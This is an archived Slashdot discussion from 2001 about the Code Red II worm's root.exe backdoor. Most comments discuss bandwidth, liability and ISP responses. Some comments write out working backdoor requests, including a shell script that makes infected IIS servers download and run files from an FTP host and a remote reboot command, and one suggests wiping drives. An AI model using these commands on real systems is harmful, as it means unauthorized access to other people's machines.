Slashdot Mirror


Code Red II: Shells for the Taking

sigurdur writes "It seems there is a new and more malicious version of Code Red out there. This one seems to try and copy cmd.exe into a position where it is accesible to us all - the scripts directory. So far I have seen it reported on the intrusions-list at incidents.org where they also just put up a notice about this third generation Code Red worm." I still think sircam is more annoying since it affects every email user, and not primarily poorly administered websites. But imagine how much bandwidth Code Red and Sircam have wasted in the last few weeks?

143 of 602 comments (clear)

  1. Re:Apache users Create default.ida 5mb!!!! by beable · · Score: 2, Interesting

    How about if somebody writes a default.ida script which sends the attacking server a GET /default.ida which makes the server go to miscrosoft.com, download and install the patch, and reboot itself? That'd be neat.

    --
    ...
  2. Oh god this is too much fun! by ZanshinWedge · · Score: 2

    I've created a script that parses my server logs for code red hits, then prints up a webpage with each ip linked to "http://[ipaddy]/scripts/root.exe?/c+dir+c:\". It's amazing how many people's computers are just wide open. It's really easy to create, rename, delete, or display just about any file on the poor saps computer. For example, "http://[ipaddy]/scripts/root.exe?/c+echo+IIS+SUCK S!+>+c:\CODEREDATETHELASTOFYOURCORNFLAKES.txt".

    I mean, errr, hypothetically it would be possible to do such things, uhhh yeah.

  3. Re:Origin of Code Red? by BalDown · · Score: 2, Funny

    Actually, yes it is based on Code Red Mountain Dew, and Pepsi evidentally didn't regard it as negative advertising, as last week they shipped over tons of cases of Code Red MD to the EEye team that named it.

    --
    You wasted packets to get this lousy sig.
  4. Re:this sucks by raju1kabir · · Score: 2
    with raw sockets, you can go into things that cant be done legally according to protocol, so now you can stuff round, triangular, and star shaped pegs through the square hole. things will break. its like trying to run a car on water, or trying to withdraw cash from an atm with the ace of spades.

    You need to put down the Gibson crack pipe and start speaking in real-world terms. Square pegs? Ace of spades? Random hallucinatory metaphors do not a persuasive argument make.

    Do you have an example of how malformed packets could be used to "take over" something? They're occasionally effective tools for DOS (though less and less as IP protocol handler authors stop making silly assumptions), and I do recall one FreeBSD ipfw vulnerability that hinged on the ability to set a certain flag in the packet header, but basically this is not such a big issue. All the fun and power is at higher levels - in the application layer.

    --
    "Patriotism is your conviction that this country is superior to all other countries because you were born in it." -- GBS
  5. Re:The Breaking Point by nugatory · · Score: 3, Insightful
    So, which will it be, folks?

    None of the above.
    The two historical precedents that come to mind are:

    • The Grand Canyon midair collision on 30 June 1956
    • The sinking of the Titanic
    In both cases, technologies failed in ways that (in hindsight) were predictable and even inevitable consequences of growth beyond the their roots. In both cases, the response was moderate, incremental, and designed to preserve existing investments in these technologies. The lesson is that the "breaking point" for a widespread infrastructural technology is very hard to reach. And, like it or not, Windows is one of these technologies.

    Instead, what we'll see happen is more attention to security, taken in small steps. More people will subscribe to alert services, and they'll be willing to pay more for them. Bosses will start asking sysadmins what they've done for security today, and be more willing to sign purchase orders for security-related work. ISPs will pay a bit more attention to open ports on their home users, and some will scan their networks for known security vulnerabilities. OEMs configuring systems for naive users will discover that people will pay for a "safe out of the box" configuration, so they'll start to offer one. And so on, and so on....

    The normal state for an economically useful thing is to be stressed, but not stressed to the breaking point. This should be pretty obvious: if it's not stressed, it was uneconomically overbuilt. We are very far from the breaking point for Windows.

  6. Help track this: submit your logs to dshield! by mjh · · Score: 5, Informative
    You might want to consider submitting your apache logs to dshield. This will help keep track of the extent of this problem as well as help to analyze where it may have originated. If the dshield folks can correlate the earliest attacks of the latest variant, they have a chance at finding where this thing originated.

    Submissions can be made by following these instructions.

    --
    Key to financial independence: Spend less than you earn. Save and invest the difference. Do it for a long time.
    1. Re:Help track this: submit your logs to dshield! by Fishstick · · Score: 2

      >vunerabilities.org, a security scanning site, is listed in the top ten

      Also interesting is the statistic associated with this listing, 31526/2

      The first number is the number of "lines implicating this attacker", the second "number of targets attacked".

      Does this mean only two hosts reported an attack, but over 30,000 times?

      For comparison, 202.75.141.158 is now in first place with 97657/56947

      --

      There is much cruelty in the universe, John.
      Yeah, we seem to have the tour map.

    2. Re:Help track this: submit your logs to dshield! by LinuxHam · · Score: 4, Informative

      It uses libpcap to sniff all packets that the interface receives. And if you configure snort to use promiscuous mode, then it'll even track attacks that aren't directed towards your machine.

      I'm on 56k ppp dialup, so I shouldn't see any attacks (let alone packets) not destined for my machine. Now that you know that, you should also know that I was rejecting all connections to port 80 with ipchains. Therefore, since the worm couldn't connect, it wouldn't transmit the HTTP request that snort is watching for.

      By hanging netcat on port 80 with a 3 second connect limit using xinetd, all inbound port 80 probes get connections. They send their payload, snort alerts on it, netcat routes it directly to /dev/null, and then closes the connection. No huge apache logs, or whatever minimal risks are associated with apache.

      I shunt the payloads directly to /dev/null just so snort can actually watch them coming in. I literally asked for a "dummy listener" on the snort list, and they pointed me to netcat at l0pht.

      --
      Intelligent Life on Earth
  7. Re:Origin of Code Red? by Fishstick · · Score: 2
    >My first guess was Coca-Cola

    A Pepsi product (mountain dew), actually

    crack the code

    Tastes like cough syrup but has a pretty good kick (hate to think about what that much red food color does to your internal organs though).

    --

    There is much cruelty in the universe, John.
    Yeah, we seem to have the tour map.

  8. Bandwidth by nick_davison · · Score: 4, Insightful
    But imagine how much bandwidth Code Red and Sircam have wasted in the last few weeks?

    I kind of find myself wondering, which wastes more bandwidth: the virus itself of all of the discussion about the virus?

    I'm assuming the virus wastes vastly more. That said, take a look at the way every news site is covering it, the large images they have accompanying the stories and the vast numbers of people reading them because MSN messenger tells them it's important. I don't know if there is any way of measuring the bandwidth wasted by each but it'd be an interesting ratio to see, if there was.

    1. Re:Bandwidth by driehuis · · Score: 2
      I'm assuming the virus wastes vastly more.

      Speaking from the bowels of corporate hell, I can assure anyone that the bandwidth issues are as to nothing compared to the manpower invested.

      I've applied the C2 security fixes to out IIS server (they're secret, don't ask me about details or I'd have to bury you). But still, the bleeding thing kept attacking our Apache and Netscrape servers, and you don't want to know the pain and suffering of explaining the risks to the end users...

      --

      Bert Driehuis -- All I asked was a friggin' rotatin' chair. Throw me a bone here, people.

    2. Re:Bandwidth by TrixX · · Score: 4, Insightful

      The bandwidth wasted by the virus is actually wasted, and useless.

      But if all the news, the discussion and similar are useful to make sysadmins a little smarter and make them use less vulnerable servers, or at least keep security patches up to date, I think that is not "waste".

  9. Killing small ISPs by Alien54 · · Score: 5, Informative
    I know of at least one small ISP that had very serious problems this week.

    First one of the top dogs in the place sent sircam throughout the company. This was a really bad hair day.

    Then they had a separate second problem where user mail boxes flooded out crashing the mail server, among other strange things. Imagine users with DSL lines sending out multimegabyte files that bounce. Considering that most ISPs configure the drive space for mail based on average usage of users, and do not set aside the actual amount of drive space for user mail, etc. that has been promised for all users.

    BOOM!

    If this keeps happening, this is going to be bad for business in a lot of places.

    --
    "It is a greater offense to steal men's labor, than their clothes"
    1. Re:Killing small ISPs by slamb · · Score: 2

      I know of at least one small ISP that had very serious problems this week. First one of the top dogs in the place sent sircam throughout the company

      I have absolutely no sympathy for them. It's maybe understandable when someone from completely outside a computer-related field propogates a virus like that. But anyone at an ISP should know better. I don't care if they are in a non-technical position there; they still should have a basic understanding of what their company does. And the most basic understanding is all you need to not be infected.

    2. Re:Killing small ISPs by Mike+Schiraldi · · Score: 2

      Watch out, "Microsoft Worm" looks awfully similar to the name of a popular word processing application... If you thought you could get in trouble with the feds for writing and releasing a worm, wait till you see what Microsoft's trademark attorneys will do to you.

    3. Re:Killing small ISPs by sirPaul · · Score: 2, Interesting
      --


      -pB
    4. Re:Killing small ISPs by Velox_SwiftFox · · Score: 2
      You run port 80 requests through procmail? Code Red doesn't spread though email, you know.

      In any case, since Microsoft doesn't insall it easily, too few Win9x/Me boxes are running Personal Web Server. I don't think it even includes the vulnerable Index Server component.

    5. Re:Killing small ISPs by Chilles · · Score: 2

      I must disagree with you on this point.
      Yes they should know better, and yes, they probably didn't keep their servers entirely up to date with the latest security updates, but nothing would have happened if nobody had written this worm.
      Next thing the police tells me I'm to blame for the latest break in in my house because my door wasn't patched against the latest models crowbar.
      They just suffered a lot of damage because some jerk somewhere lacks a decent moral and ethical education.

  10. Re:The Whitehouse.gov lesson by fanatic · · Score: 2

    Actually, they moved it to akamai, a large network of servers distributed across the internet. Requests are spread out over several servers, thereby making the site as a whole more resistant to DDOS. (They just happen to be Linux). Microsoft did the same thing with their DNS servers after these were DDOS'd earlier this year. A network like Akamai may be the only real defense against a good DDOS (syn flood, spoofed IPs) that doesn't involve ignoring some lgeitimate requests as well as the trash.

    --
    "that's not encryption - it's a new perl script that I'm working on..." - from some Matrix parody
  11. Code Red II (or III) on cable modem segments by possible · · Score: 2, Interesting
    I posted this to Bugtraq last night but it got rejected. :P

    Anyways, if cable modem users are seeing drastically increased ARPing, the targeting of the Code Red III variant should explain it -- hitting non-existent addresses on your subnet will cause the CMTSheadend router to ARP out to see who's got that address, you get the picture.

    At the very least, it's a good opportunity for users to see how many modems your provider has packed onto your segment. If they've packed too many on there, you can be sure the CMTS router's going to get seriously bogged down.

    I have an automated program which sends the IP addresses to the ARIS list *and* to my ISP's security department (those IP's which fall under their management) -- I wonder if ISP's are considering just dropping all packets from infected hosts, so when the customer comes to them and complains, they say "Oh, you're infected, reboot, install the patch, and we'll reconnect you." Seems that this would reduce the load on the CMTS and would be faster than trying to track down each customer individually.

    Chad Loder

    Rapid 7, Inc. - Next generation security products and services

    http://www.rapid7.com

    1. Re:Code Red II (or III) on cable modem segments by rjamestaylor · · Score: 2

      Same thing here - sample tcpdump on eth0:

      tcpdump: listening on eth0
      19:14:07.770553 B arp who-has 66.74.1.213 tell 66.74.0.1
      19:14:08.020553 B arp who-has 66.74.1.184 tell 66.74.0.1
      19:14:08.580553 B arp who-has 66.74.1.112 tell 66.74.0.1
      19:14:08.910553 B arp who-has 66.74.1.226 tell 66.74.0.1
      19:14:09.180553 B arp who-has 66.74.1.158 tell 66.74.0.1
      19:14:09.320553 B arp who-has 66.74.1.8 tell 66.74.0.1
      19:14:09.500553 B arp who-has 66.74.1.159 tell 66.74.0.1
      19:14:09.570553 B arp who-has 66.74.1.252 tell 66.74.0.1
      19:14:09.700553 B arp who-has 66.74.1.116 tell 66.74.0.1
      19:14:09.890553 B arp who-has 66.74.1.253 tell 66.74.0.1
      19:14:10.000553 B arp who-has 66.74.1.183 tell 66.74.0.1
      19:14:10.220553 B arp who-has 66.74.1.108 tell 66.74.0.1
      19:14:10.290553 B arp who-has 66.74.1.192 tell 66.74.0.1
      19:14:10.380553 B arp who-has 66.74.1.147 tell 66.74.0.1
      19:14:10.840553 B arp who-has 66.74.1.113 tell 66.74.0.1
      19:14:10.950553 B arp who-has 66.74.1.71 tell 66.74.0.1
      19:14:11.630553 B arp who-has 66.74.1.237 tell 66.74.0.1
      19:14:11.800553 B arp who-has 66.74.0.127 tell 66.74.0.1
      19:14:11.800553 B arp who-has 66.74.1.181 tell 66.74.0.1
      19:14:11.880553 B arp who-has 66.74.1.226 tell 66.74.0.1
      19:14:12.260553 B arp who-has 66.74.1.18 tell 66.74.0.1
      19:14:12.270553 B arp who-has 66.74.1.8 tell 66.74.0.1
      19:14:12.280553 B arp who-has 66.74.1.98 tell 66.74.0.1
      19:14:12.360553 B arp who-has 66.74.1.146 tell 66.74.0.1
      19:14:12.980553 B arp who-has 66.74.1.122 tell 66.74.0.1
      19:14:13.070553 B arp who-has 66.74.1.132 tell 66.74.0.1
      19:14:13.140553 B arp who-has 66.74.1.108 tell 66.74.0.1
      19:14:13.300553 B arp who-has 66.74.1.192 tell 66.74.0.1
      19:14:13.330553 B arp who-has 66.74.1.208 tell 66.74.0.1
      19:14:13.590553 B arp who-has 66.74.1.126 tell 66.74.0.1
      19:14:13.730553 B arp who-has 66.74.1.145 tell 66.74.0.1
      19:14:13.800553 B arp who-has 66.74.1.113 tell 66.74.0.1
      19:14:13.910553 B arp who-has 66.74.1.71 tell 66.74.0.1
      19:14:14.690553 B arp who-has 10.74.0.180 tell 10.74.0.1
      19:14:14.770553 B arp who-has 66.74.1.181 tell 66.74.0.1
      19:14:15.250553 B arp who-has 66.74.1.98 tell 66.74.0.1
      19:14:15.320553 B arp who-has 66.74.1.146 tell 66.74.0.1
      19:14:15.320553 B arp who-has 66.74.1.159 tell 66.74.0.1
      19:14:15.610553 B arp who-has 66.74.1.231 tell 66.74.0.1
      19:14:15.910553 B arp who-has 66.74.1.253 tell 66.74.0.1
      19:14:16.060553 B arp who-has 66.74.1.189 tell 66.74.0.1
      19:14:16.060553 B arp who-has 66.74.1.132 tell 66.74.0.1
      19:14:16.400553 B arp who-has 66.74.1.41 tell 66.74.0.1
      19:14:16.590553 B arp who-has 66.74.1.125 tell 66.74.0.1
      19:14:16.610553 B arp who-has 66.74.1.126 tell 66.74.0.1
      19:14:16.680553 B arp who-has 66.74.1.145 tell 66.74.0.1
      19:14:17.060553 B arp who-has 66.74.1.169 tell 66.74.0.1
      19:14:17.130553 B arp who-has 66.74.1.79 tell 66.74.0.1
      19:14:17.280553 B arp who-has 66.74.1.35 tell 66.74.0.1
      19:14:17.540553 B arp who-has 66.74.1.254 tell 66.74.0.1
      19:14:17.910553 B arp who-has 66.74.1.226 tell 66.74.0.1
      19:14:18.040553 B arp who-has 66.74.1.223 tell 66.74.0.1
      19:14:18.230553 B arp who-has 66.74.1.8 tell 66.74.0.1
      19:14:18.460553 B arp who-has 66.74.1.115 tell 66.74.0.1

      --
      -- @rjamestaylor on Ello
  12. Re:Someone needs to write by Grishnakh · · Score: 2, Funny

    No, someone needs to write a strand that simply shuts down (or better yet wipes out the hard drives of) MS IIS servers. They're a hazard to everyone else on the internet and should be removed.

  13. CodeRed2 Explorer for your viewing pleasure by leonbrooks · · Score: 3, Funny
    It's a bit slap-dash, but here's CodeRed2 Explorer for your PHP-enabled web server. No need for Telnet, even: explore Windows-land a click at a time from the comfort of your browser. (-:

    PLEASE MIRROR THIS and post your mirror URLs in reply to this message (subject Mirror of CodeRed2) since that server is a club server, low bandwidth, low budget. But very secure (Debian on Sparc and well maintained :-)

    SlashDot (the pikers )-: wouldn't let me post directly to this page.

    --
    Got time? Spend some of it coding or testing
  14. Re:huge cable modem hits by interiot · · Score: 2

    If you consider that @Home's acceptable use policy explicitely says that running servers isn't allowed... there are two interesting things to note. First, there are a lot of people running public web servers that @Home just ignores. Another thing is that it probably wouldn't be a problem legally for @Home to minimize the impact of code red by blocking port 80 traffic like they did with port 137, at least temporarily.

  15. Re:I'm sorely tempted . . . by Phroggy · · Score: 5, Insightful

    Unfortunately, it doesn't look like the root.exe installed by Code Red has Administrator privaleges, which iisreset.exe needs. Or at least, that's my guess, since it isn't working.

    --
    $x='S24;r)>63/* h@<5+oZ)32"5cz';$me='phroggy'x$];
    $x=~y+ -xz+\0-Tx+;print$_^chop$me for split'',$x;
  16. Re:The Breaking Point by Malcontent · · Score: 4, Interesting

    You can't sue MS (they are bigger then the govt prectically). But you can probably sue and company which uses IIS and stores your personal data. If that comapny was using IIS and they failed to patch their system then they have been criminally negligent in their duties. A few suits and all companies will drop IIS like a hot potato.
    Everybody wins.

    --

    War is necrophilia.

  17. Re:Microsoft Internet Pollution - My Server Log! by jeremyp · · Score: 4, Interesting

    There's been an IIS patch available for several months which blocks the hole exploited by CodeRed. You can't sue M$ for negligence but you might be able to sue any of the web server owners who haven't applied the patch.

    Actually, there has been a beneficial effect with CodeRed (in the UK at least). I have seen several reports on British network news programmes that talk about "security flaws in M$ software", not "security flaws in the Internet". It's quite a step forward for the media here not to treat M$ software and Internet / PC software as being effectively synonymous. There is a faint but real message that the problem is Microsoft.

    --
    All I want is a secure system where it's easy to do anything I want. Is that too much to ask ~~ Randall Munroe
  18. This will put a bandaid on the problem: by Telek · · Score: 2, Informative

    try this:

    GET /scripts/root.exe?/c+echo+ren+root.exe+badrootexpl oit+>+fixme.cmd HTTP/1.0
    GET /scripts/root.exe?/c+echo+echo+^>+root.exe+>>+fixm e.c md HTTP/1.0
    GET /scripts/root.exe?/c+echo+attrib.exe+root.exe+%u00 2Br+>>+fixme.cmd HTTP/1.0
    GET /scripts/root.exe?/c+echo+dir+>>+fixme.cmd HTTP/1.0
    GET /scripts/root.exe?/c+type+fixme.cmd HTTP/1.0
    GET /scripts/root.exe?/c+fixme.cmd HTTP/1.0

    this way it renames the old root.exe, creates a new dummy one, and write protects it so it can't be overwritten by a simple copy command.

    --

    If God gave us curiosity
  19. Re:huge cable modem hits by onepoint · · Score: 2

    I'm having 2 to 4 alerts every minute from the @home network or road runner.

    It's crazy.

    onepoint

    --
    if you see me, smile and say hello.
  20. Bandwidth wasted? by mwillems · · Score: 2
    Wasted? It's like airplane seats: once it's not used, it's gone forever. Not a renewable resource. If a particular pipe is 90% full as opposed to 10% full, there's very little difference.

    So unless it caused noticable congestion it makes no difference in that respect.

    --

    ---
    BDOS ERR ON A:>
  21. Re:Repository of infected IP addressen by BMIComp · · Score: 2

    Well, right now a lot of people are sending their logs to Dshield, who then notify the owners of the infected machines. grep default.ida access_log* | mail -s 'APACHE' redalert@dshield.org

  22. Re:Now that I've got access to hundreds of boxes by Hilary+Rosen · · Score: 2

    I get this. I think it means IIS is running on a desktop version of Windows (NT4WKS or W2KPro) rather than a server.

    ===

    The page cannot be displayed

    There are too many people accessing the Web site at this time.

    ---

    Please try the following:

    Click the Refresh button, or try again later.

    Open the 65.29.102.77 home page, and then look for links to the information you want.

    HTTP 403.9 - Access Forbidden: Too many users are connected

    Internet Information Services

    ---

    Technical Information (for support personnel)

    Background:

    This error can occur if the Web server is busy and cannot process your request due to heavy traffic.

    More information:

    Microsoft Support



    --
    Yes, the nick is flamebait
  23. Re:CmdrTaco runs Windows by mpe · · Score: 2

    I think the notion is that it affects non-Windows people as recipients of unwanted random files. (Code Red affects non-Windows people as port 80 hits, too, but that's relatively trivial, and unlikely for minimally-connected dialup people.)

    Except that the strange HTTP requests it puts out cause problems with some embedded webservers...

  24. Re:The Breaking Point by Ridge2001 · · Score: 3, Insightful
    Does anybody remember a few months ago when everybody around Slashdot was feeling sorry for themselves because it seemed that Open Source software was getting hard hit by security problems?
    • sourceforge.com was hacked
    • themes.org was hacked
    • apache.org was hacked
    • the ramen worm
    • the lion worm
    • the knark rootkit
    Things were so bad that Microsoft felt cocky enough to make claim that open source software has "inherent security risks".

    Well, you can quite rightly laugh at Mundie now for his audacity, but it's ridiculous to start calling for lawsuits against software makers. Do you really believe there is never going to be another exploit targeting open source software? Do you want the creators of that open source software to be sued too when that happens?

    Microsoft is a big company, and it can afford lawsuits like that. But if, say, the creators of BIND were sued for an exploit, that would probably be the end of BIND. And it's unlikely anyone would be eager to write an open source replacement, with the threat of lawsuits looming over any potential open source project.

  25. Re:CmdrTaco runs Windows by M.+Silver · · Score: 2
    Except that the strange HTTP requests it puts out cause problems with some embedded webservers

    Yabbut that's *still* not "all of us," as with SirCam.

    Though, interestingly enough, I haven't seen SirCam. I run a mailing list server, and usually I get a nice sampling of darn near everything caught in the spamtrap... I saw Melissa from a European subscriber way in the wee hours of the morning, which was handy since my then-employer needed a sample to feed to its mail filter. And I still see Snowhite once every couple of days. But no SirCam.

    Not that I'm complaining, mind you...

    --

    Slashdot's token middle-aged housewife
  26. Code Red Infects Slashdot! by Mdog · · Score: 5, Funny

    It's gotten to the editors! It's everywhere! It causes itself to be posted multiple times per day! Hide the women and children!

    1. Re:Code Red Infects Slashdot! by cyberdonny · · Score: 2
      > It is on or near this day that Microsoft's software became, without a doubt, a public nuisance to the internet.

      I hate to defend Micro$oft, but at least in this instance, they are only a nuisance to themselves (and to their customers). Indeed, Code Red only infects IIS, not Apache nor any of the many other brands of Webservers. And please don't bring out that old canard of CodeRed eating bandwidth and bringing the Internet to a crawl: this one has been debunked here: the real reason for the July 10th slowdown was... a train wreck!

    2. Re:Code Red Infects Slashdot! by IronChef · · Score: 2


      Here are some of the sites that have tried to infect me. These servers all had live content when I last checked. Very humorous.

      http://65.3.197.16/

      http://65.3.145.164/ ('welcome to the all porshe page!' Hilarious, GeoCities quality web site.)

      Most of the rest of the machines that hit me had IIS "under construction" signs up.

    3. Re:Code Red Infects Slashdot! by Umanity · · Score: 2, Informative

      Notice that this article was written before the appearance of CR2, the more virulent version of Code Red. I too believed that the worm was "Overhyped" in the media. But as of yesterday, I saw a four-fold increase in the attacks from the worm. I think the new version could be quite a problem. I have been tracking down systems infecting others and calling the sysadmin. I think we need to pro-actively stop this thing by alerting sysadmins that their machines are compromised.

      I have noticed that a lot of the recent hits have been coming from my Service Providers address space. And the frequency of attacks are increasing. On the 2nd of August I only got about 30 hits, about 1 every hour. On the 4th of August I got over 80 hits, thats about 4 hits an hour.

      This thing is gaining momentum... Don't be foolish and underestimate it...

      --

      Michael A. Uman
      Sr Software Engineer
      softwaremagic.net

    4. Re:Code Red Infects Slashdot! by MadAhab · · Score: 2
      While it's sorta alarmist, it *could* be true. But Cringely provides his own Occam's razor right in the same article; Microsoft allows poor security because improving it would not increase their market share. No one chooses a Microsoft product on security criteria, and the few people who choose against it are the folks who have

      The resistance to even installing support at the ISP level for a Microsoft networking protocol would be much larger than he accounts for. For one thing, I've seen ISPs belly flop on flash upgrades before. Now figure that such a protocol would have to be in place at every hop along the way. Even if it were encapsulated in TCP/IP, this would bring performance down and require at least the other end to use the protocol, and that's a pretty thin wedge.

      Their chances of succeeding in such a takeover would be exceedingly poor, at least without legislative action, and Microsoft would come out a real loser in that kind of political battle in DC. The number of "all business is all right, all the time" nitwits in Washington can be easily calculated by counting bow ties, while Microsoft's enemies are many and not so easy to identify.

      Cringely's actually a pretty smart guy, but he's wrong on this one.

      --
      Expanding a vast wasteland since 1996.
  27. Finger of God by LinuxHam · · Score: 2, Funny

    Time the long-awaited "Finger of God" script. Fdisk 'em!

    --
    Intelligent Life on Earth
  28. File download script by nebby · · Score: 5, Interesting

    (Copied from the other thread, for those who are working on a way to fix this worm)

    I played around for a few hours with this, trying to make a ghetto script that would fix the servers. There's no way for me to be sure my other stuff works, but the thing I did get working was a script to download files to the infected server from an ftp site.


    #!/bin/sh
    # Code Red ][ Download File script
    # Usage: dlfile.sh infectedIP filename
    #
    # Please set the $ftp and $dir values to
    # the ftp and directory of the patch and shutdown repository

    # For ftp.youhavesetup.com
    FTP="ftp%2eyouhavesetup%2ecom"
    # Directory /pub/cr
    DIR="%2fpub%2fcr"

    echo GET /scripts/root.exe?+%2fc+echo+bin+%3etmpfile | telnet $1 80
    sleep 1
    echo GET /scripts/root.exe?+%2fc+echo+get+$DIR%2f$2+%3e%3et mpfile | telnet $1 80
    sleep 1
    echo GET /scripts/root.exe?+%2fc+echo+ftp+%2dA+%2ds%3atmpfi le+$FTP+%3edlfile%2ecmd | telnet $1 80
    # Note that slashcode inserts a space in the string 'tmpfile' on both these lines, remove before running
    sleep 1
    echo GET /scripts/root.exe?+/k+dlfile%2ecmd | telnet $1 80


    I tried setting it up and got the servers to download the patches, but I can't be sure that they are actually run. (I don't have an infected machine to test.) Also, I was unable to figure out a way to get the machines to reboot or restart IIS. It appears root.exe has limited permission in what it can do (as another poster or two stated.) There might be hacks that will do what I want to, but I'm too tired to mess with this anymore :)

    --
    --
    1. Re:File download script by Molina+the+Bofh · · Score: 2

      > I played around for a few hours with this, trying to make a ghetto script that would fix the servers. There's no way for me to be sure my other stuff works, but the thing I did get working was a script to download files to the infected server from an ftp site.

      The idea is nice, the intention is louvable, but I believe it would be considered illegal in most countries. After all, you are actually using their machine without permission.

      The argument that you're doing this for their own good is the same one that crackers use.
      -"Oh, we're doing them a favour, showing their vulnerabilities."

      --

      -
      Roses are #FF0000, Violets are #0000FF, find / -name '*base*' |xargs chown -R us && mv zig greatjustice
    2. Re:File download script by nebby · · Score: 3, Interesting

      Yeah I realize that. I'm not doing anymore "work" on this, but I figured I might as well post it. I figure I painted myself red enough on one or two win2k cable modems for one lifetime now.

      The intention isn't the same as crackers though, writing a script to patch and restart IIS not an in your face "showing their vulnerabilities" crack, it's basically a free-of-charge windows update complements of whoever runs the script. I'm not saying that it is legal, but it's definitely not a "ha ha I got rewt your windows box is insecure" crack. It a "I noticed your computer is insecure, I fixed it. Have a nice day, and don't let it happen again." crack.

      If anyone actually sat and wrote a complex script to fix these computers, I *highly* doubt that a sane judge would pound the gavel on them, especially if the good they do is significant enough and measurable. (Personally, I would *love* to see someone outside of Microsoft do this before MS gets the chance to issue a fix and once again look like the good guys even though it's their original fuck up.)

      --
      --
    3. Re:File download script by elefantstn · · Score: 2
      The idea is nice, the intention is louvable, but I believe it would be considered illegal in most countries. After all, you are actually using their machine without permission.

      Are you sure? I mean, it's not like you're cracking into people's boxes randomly to do this; only computers that try to attack your Apache server are effected. Of course, thieves have successfully sued for unsafe property for injury themselves during attempted burglaries, so who knows...

      --
      If it ain't broke, you need more software.
    4. Re:File download script by Erasmus+Darwin · · Score: 2
      I believe it would be considered illegal in most countries.

      What if one were to change one's web server's main page to advertise an automated Code Red fixing service, conveniently located at http://www.example.com/default.ida?

      I suppose it probably wouldn't hold up in court, but it'd still be amusing.

    5. Re:File download script by M.+Silver · · Score: 2
      The idea is nice, the intention is louvable, but I believe it would be considered illegal in most countries. After all, you are actually using their machine without permission.

      If it was initiated by their machine (that is, by the default.ida request), that might be questionable, though. Not that *I'd* want to test it out in court, but I wouldn't dismiss it out of hand.

      --

      Slashdot's token middle-aged housewife
    6. Re:File download script by Xemu · · Score: 2, Informative
      Also, I was unable to figure out a way to get the machines to reboot or restart IIS


      Rebooting a compromised IIS server is trivial, just add this to your script

      (echo "GET /scripts/root.exe?/c+iisreset+/reboot HTTP/1.0\n\n\n\n" ; sleep 5) | telnet $1 80

      or you could substitute iisreset/reboot with one iisreset/stop and one iisreset/start for less impact on the system.

      --
      Tell your friends about xenu.net
    7. Re:File download script by Mike+Schiraldi · · Score: 2

      or you could substitute iisreset/reboot with one iisreset/stop and one iisreset/start for less impact on the system

      Um, if you stop the IIS server, how exactly are you going to send it a start command?

    8. Re:File download script by camusflage · · Score: 2

      Uhhhh, Yeah. Tell it to Max Butler (aka Max Vision). He did the same thing for the bind worm, releasing a worm that fixed the hole. He's now doing 18 months with three years of probation, plus $60k in restitution.

      Read here if you're still thinking of releasing this creature into the wild.

      --
      The truth about Scientology, Xenu, and you: Operation Clambake
    9. Re:File download script by camusflage · · Score: 2

      I suppose it probably wouldn't hold up in court, but it'd still be amusing.

      Doesn't even hold up technologically, let alone in court.

      In theory, it sounds good. You're ignoring that the infection comes from a malformed request, not response. To make it work, you'd need to take the IP issuing the request, and fire a request back at it containing your payload.

      "Ummm, I was just seeing who was talking to me. I didn't know they were vulnerable!"

      --
      The truth about Scientology, Xenu, and you: Operation Clambake
    10. Re:File download script by Erasmus+Darwin · · Score: 2
      You're ignoring that the infection comes from a malformed request, not response.

      Well, the argument is that the counter-attacker would be advertising a service which the Code Red worm then "requests".

      A analogy might be to the telephone service providers that registered names like "I don't care", thereby inadvertently foisting their services upon someone who said that phrase for different reasons.

      Similarly, the counter-attacker would be making a request to "/default.ida" the request means by which a machine can indicate that it desires to have the Code Red worm backdoor exploited on itself.

      Overall, it's predicated on the notion of what indicates acceptance of conditions on the web. Is someone providing a controversial service responsible for determining, beyond a shadow of a doubt, that the person requesting a service really knows what they're doing? Or is it the fault of the entity generating the request (in this case, the Code Red worm itself)? I suspect the answer's somewhere in the middle, but I have no clue on exactly where it would lie.

  29. Not a bug by Mike+Schiraldi · · Score: 5, Funny

    I've always wanted to be able to telnet into my Windows box. Where can i get this virus?

    1. Re:Not a bug by imipak · · Score: 2
      of course, you know you can run your standard sshd, as well as VNC (hey, why not tunnel the former out via the latter?)

      The tempation to dig some IPs from the logs and go for a wee look around at open machines is pretty intense (not that I'll be giving in, I hasten to add - bad ethics innit?) ... and it's at times like this I wish I'd gone to the effort of finding a commandline MTA for NT, though; it's a real pain manually looking up the POC & mailing them...

  30. Re:The Breaking Point by Malcontent · · Score: 2

    Don't hold your breath. You think a post critisizing MS will get modded up? On slashdot? Yea right! The MS posse will soon mod it down.

    --

    War is necrophilia.

  31. Re:huge cable modem hits by iturbide · · Score: 2, Informative
    OK, You can use tcpdump and/or ethereal to check traffic over your interface. Be ready for rpm dependency resolution hell, but any decent distro should have all the neccessary packages. Ethereal is the damned good GUI thing sitting on top of tcpdump, and it will tell you straightaway what is going on.

    And I will now duck for all those people who will tell you you shouldn't install X on anything connected to the internet. Do a man on tcpdump to see what switch will save traffic to text-readable file.

    Enjoy

  32. Re:huge cable modem hits by rknop · · Score: 2

    Yes, I'm seeing an ungodly number of ARP requests as well, which may also be Code Red connected. (Who knows.)

    -Rob

  33. Re:Yup, sircam is more annoying by Malcontent · · Score: 2

    Is he still using it? The answer to that question really determines weather or not he is a dufus.

    --

    War is necrophilia.

  34. Re:It is the time by Tackhead · · Score: 2
    > On a completely other note! I was thinking it would be nice if the worm copied random text strings (from the victim's hard drive) instead of the XXXXXXXXX in order to overrun the buffer :) Then it would be really interesting to read those log files!

    Well, I haven't seen that yet, but I saw something even funnier:

    999.999.999.999 - - [04/Aug/2001:23:43:18 -0400] "GET /default.ida?XXXXXXXXXXXXXXXXXJust_Kidding___Now_H ow_About_Running_Apache_Instead_of_IIS HTTP/1.0" 404 282 "-" "-"

    (Yes, just some guy with a sense of humor and a web browser, not enough Xs to trigger the overflow ;-)

  35. Re:The Breaking Point by rberger · · Score: 2, Interesting
    Why not a class action suit against Microsoft? Seems that would be an appropriate action since Microsoft is now officially a monopoly, end users who are recieving the SirCam files who are not Microsoft users are one good class. ISPs who do not use Microsoft servers who's networks are being floodded by Code Red and SirCam are another good class...

    And even the clueless ones who continue to use inherently defective software such as Outlook and IIS have as much right to sue MS as people who smoked for 50 years have to sue tobacco firms...

  36. Re:The Breaking Point by NetJunkie · · Score: 2

    Sueing software makers for bugs is a "bad idea". How many open source authors are going to want to be held liable for that when they don't even get paid for their work? Not many.

  37. SirCam procmail recipe by tstock · · Score: 2, Informative

    :0 B
    * > 100000
